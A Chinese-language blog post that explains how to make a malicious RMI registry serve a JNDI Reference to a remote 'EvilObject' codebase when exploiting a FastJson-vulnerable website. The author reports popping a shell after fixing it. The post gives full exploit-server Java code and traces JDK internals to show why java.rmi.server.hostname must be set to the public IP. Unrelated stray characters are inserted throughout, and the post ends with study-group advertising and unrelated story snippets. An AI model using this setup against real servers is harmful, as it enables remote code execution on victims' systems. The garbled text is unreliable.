RMI ReferenceWrapper_Stub With Hostname

去年我salt大哥帶我搞一個存在FastJson漏洞站的時候, 在ECS上啟動rmi使用Reference 加載遠程codebase代碼庫的方法, 但是一直沒能成功執(zhí)行命令苛让。

最后才了解到需要修改掉/etc/hostname文件為公網ip地址才能夠正常利用, 在修改掉/etc/hostname為公網ip后,成功彈回來了shell。

失敗原因

當時使用的啟動rmi服務的java代碼翻伺。

RMIService.java

importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); }}

RMI在綁定refObjWrapper時, 綁定的其實是refObjWrapper_Stub

啟動RMI后, 用nmap掃描可以發(fā)現, ReferenceWrapper_Stub引用到了一個內網ip中。

在客戶端從RMI中獲取到ReferenceWrapper_Stub后, 經過this.decode還原成ReferenceWrapper, 然后嘗試去加載這個引用, 但是因為內網ip的原因直接加載失敗卷拘。 這個內網ip是ECS的內網ip, 在客戶端這邊肯定就加載失敗了除秀。

RMI ReferenceWrapper_Stub

在實例化ReferenceWrapper_Stub時,

Stringvar7 = resampleLocalHost();if(var6 ==null) {? ? var3 =newTCPEndpoint(var7, var0, var1, var2);? ? var6 =newLinkedList();? ? var6.add(var3);? ? var3.listenPort = var0;? ? var3.transport =newTCPTransport(var6);? ? localEndpoints.put(var5, var6);if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"created local endpoint for socket factory "+ var2 +" on port "+ var0);? ? }}else{? ? synchronized(var6) {? ? ? ? var3 = (TCPEndpoint)var6.getLast();Stringvar9 = var3.host;intvar10 = var3.port;? ? ? ? TCPTransport var11 = var3.transport;if(var7 !=null&& !var7.equals(var9)) {if(var10 !=0) {? ? ? ? ? ? ? ? var6.clear();? ? ? ? ? ? }? ? ? ? ? ? var3 =newTCPEndpoint(var7, var10, var1, var2);? ? ? ? ? ? var3.listenPort = var0;? ? ? ? ? ? var3.transport = var11;? ? ? ? ? ? var6.add(var3);? ? ? ? }? ? }}

通過resampleLocalHost來獲取 Reference 要引用到的ip

private static StringresampleLocalHost(){? ? String var0 = getHostnameProperty();? ? Map var1 =localEndpoints;? ? synchronized(localEndpoints) {if(var0 != null) {if(!localHostKnown) {setLocalHost(var0);? ? ? ? ? ? }elseif(!var0.equals(localHost)) {localHost = var0;if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? ? ? ? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"updated local hostname to: "+localHost);? ? ? ? ? ? ? ? }? ? ? ? ? ? }? ? ? ? }returnlocalHost;? ? }}

首先嘗試使用getHostnameProperty來獲取ip

privatestaticStringgetHostnameProperty(){return(String)AccessController.doPrivileged(newGetPropertyAction("java.rmi.server.hostname"));}

但是這里由于我們的RMIService沒有設置java.rmi.server.hostname所以這里返回null。

當從getHostnameProperty獲取ip失敗時, 直接返回localhost屬性算利。

localhost屬性在靜態(tài)方法中被設置册踩。

static {if(localHost == null) {? ? ? ? try {? ? ? ? ? ? InetAddress var0 = InetAddress.getLocalHost();? ? ? ? ? ? byte[] var1 = var0.getAddress();if(var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {localHostKnown =false;? ? ? ? ? ? }if(getBoolean("java.rmi.server.useLocalHostName")) {localHost = TCPEndpoint.FQDN.attemptFQDN(var0);? ? ? ? ? ? }else{localHost = var0.getHostAddress();? ? ? ? ? ? }? ? ? ? } catch (Exception var2) {localHostKnown =false;localHost = null;? ? ? ? }? ? }if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"localHostKnown = "+localHostKnown +", localHost = "+localHost);? ? }localEndpoints = new HashMap();}

這里使用了InetAddress.getLocalHost()來獲取ip

publicstaticInetAddressgetLocalHost()throwsUnknownHostException{? ? SecurityManager security = System.getSecurityManager();try{? ? ? ? String local = impl.getLocalHostName();// 獲取HostName, linux系統(tǒng)可以通過修改/etc/hostname文件內容來設置hostname。if(security !=null) {? ? ? ? ? ? security.checkConnect(local, -1);? ? ? ? }if(local.equals("localhost")) {returnimpl.loopbackAddress();? ? ? ? }? ? ? ? InetAddress ret =null;synchronized(cacheLock) {longnow = System.currentTimeMillis();if(cachedLocalHost !=null) {if((now - cacheTime) < maxCacheTime)// Less than 5s old?ret = cachedLocalHost;elsecachedLocalHost =null;? ? ? ? ? ? }// we are calling getAddressesFromNameService directly// to avoid getting localHost from cacheif(ret ==null) {? ? ? ? ? ? ? ? InetAddress[] localAddrs;try{? ? ? ? ? ? ? ? ? ? localAddrs =? ? ? ? ? ? ? ? ? ? ? ? InetAddress.getAddressesFromNameService(local,null);//使用該方法獲取ip,如果hostname是域名,會把域名轉換為對應ip//如果hostname不合法, 返回各網卡的ip效拭。}catch(UnknownHostException uhe) {// Rethrow with a more informative error message.UnknownHostException uhe2 =newUnknownHostException(local +": "+? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? uhe.getMessage());? ? ? ? ? ? ? ? ? ? uhe2.initCause(uhe);throwuhe2;? ? ? ? ? ? ? ? }? ? ? ? ? ? ? ? cachedLocalHost = localAddrs[0];// get en0cacheTime = now;? ? ? ? ? ? ? ? ret = localAddrs[0];? ? ? ? ? ? }? ? ? ? }returnret;? ? }catch(java.lang.SecurityException e) {returnimpl.loopbackAddress();? ? }}

由于ECS的hostname一般都長這個樣子

所以肯定不是合法的域名或者ip了, 那么Reference的ip 就是獲取的en0的ip,

就成了一個內網ip, 導致訪問引用失敗暂吉。

這里只要把Reference引用到公網ip上 就能成功利用了。

所以以前可以通過修改/etc/hostname為公網ip來成功利用, 但是修改/etc/hostname后得重啟才能生效,很麻煩缎患。

從上面可以看出, 如果設置了java.rmi.server.hostname屬性之后, 該屬性值就會覆蓋掉靜態(tài)方法所設置的localhost屬性慕的。

所以在啟動rmi的時候 設置java.rmi.server.hostname屬性為公網ip即可。

importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{System.setProperty("java.rmi.server.hostname","你的公網ip");Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");? ? ? ? registry.bind("refObj", refObjWrapper);? ? }}

再用nmap掃描, 就能夠發(fā)現已經變?yōu)楣Wip了较锡。

進群:697699179可以獲取Java各類入門學習資料业稼!

這是我的微信公眾號【編程study】各位大佬有空可以關注下,每天更新Java學習方法蚂蕴,感謝低散!

學習中遇到問題有不明白的地方,推薦加小編Java學習群:697699179內有視頻教程 骡楼,直播課程 熔号,等學習資料,期待你的加入

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末鸟整,一起剝皮案震驚了整個濱河市引镊,隨后出現的幾起案子,更是在濱河造成了極大的恐慌篮条,老刑警劉巖弟头,帶你破解...
    沈念sama閱讀 217,542評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現場離奇詭異涉茧,居然都是意外死亡赴恨,警方通過查閱死者的電腦和手機,發(fā)現死者居然都...
    沈念sama閱讀 92,822評論 3 394
  • 文/潘曉璐 我一進店門伴栓,熙熙樓的掌柜王于貴愁眉苦臉地迎上來伦连,“玉大人,你說我怎么就攤上這事钳垮』蟠荆” “怎么了?”我有些...
    開封第一講書人閱讀 163,912評論 0 354
  • 文/不壞的土叔 我叫張陵饺窿,是天一觀的道長歧焦。 經常有香客問我,道長短荐,這世上最難降的妖魔是什么倚舀? 我笑而不...
    開封第一講書人閱讀 58,449評論 1 293
  • 正文 為了忘掉前任叹哭,我火速辦了婚禮忍宋,結果婚禮上痕貌,老公的妹妹穿的比我還像新娘。我一直安慰自己糠排,他們只是感情好舵稠,可當我...
    茶點故事閱讀 67,500評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著入宦,像睡著了一般哺徊。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上乾闰,一...
    開封第一講書人閱讀 51,370評論 1 302
  • 那天落追,我揣著相機與錄音,去河邊找鬼涯肩。 笑死轿钠,一個胖子當著我的面吹牛,可吹牛的內容都是我干的病苗。 我是一名探鬼主播疗垛,決...
    沈念sama閱讀 40,193評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼硫朦!你這毒婦竟也來了贷腕?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 39,074評論 0 276
  • 序言:老撾萬榮一對情侶失蹤咬展,失蹤者是張志新(化名)和其女友劉穎泽裳,沒想到半個月后,有當地人在樹林里發(fā)現了一具尸體破婆,經...
    沈念sama閱讀 45,505評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡涮总,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,722評論 3 335
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現自己被綠了荠割。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片妹卿。...
    茶點故事閱讀 39,841評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖蔑鹦,靈堂內的尸體忽然破棺而出夺克,到底是詐尸還是另有隱情,我是刑警寧澤嚎朽,帶...
    沈念sama閱讀 35,569評論 5 345
  • 正文 年R本政府宣布铺纽,位于F島的核電站,受9級特大地震影響哟忍,放射性物質發(fā)生泄漏狡门。R本人自食惡果不足惜陷寝,卻給世界環(huán)境...
    茶點故事閱讀 41,168評論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望其馏。 院中可真熱鬧凤跑,春花似錦、人聲如沸叛复。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽褐奥。三九已至咖耘,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間撬码,已是汗流浹背儿倒。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留呜笑,地道東北人夫否。 一個月前我還...
    沈念sama閱讀 47,962評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像蹈垢,于是被迫代替她去往敵國和親慷吊。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,781評論 2 354

推薦閱讀更多精彩內容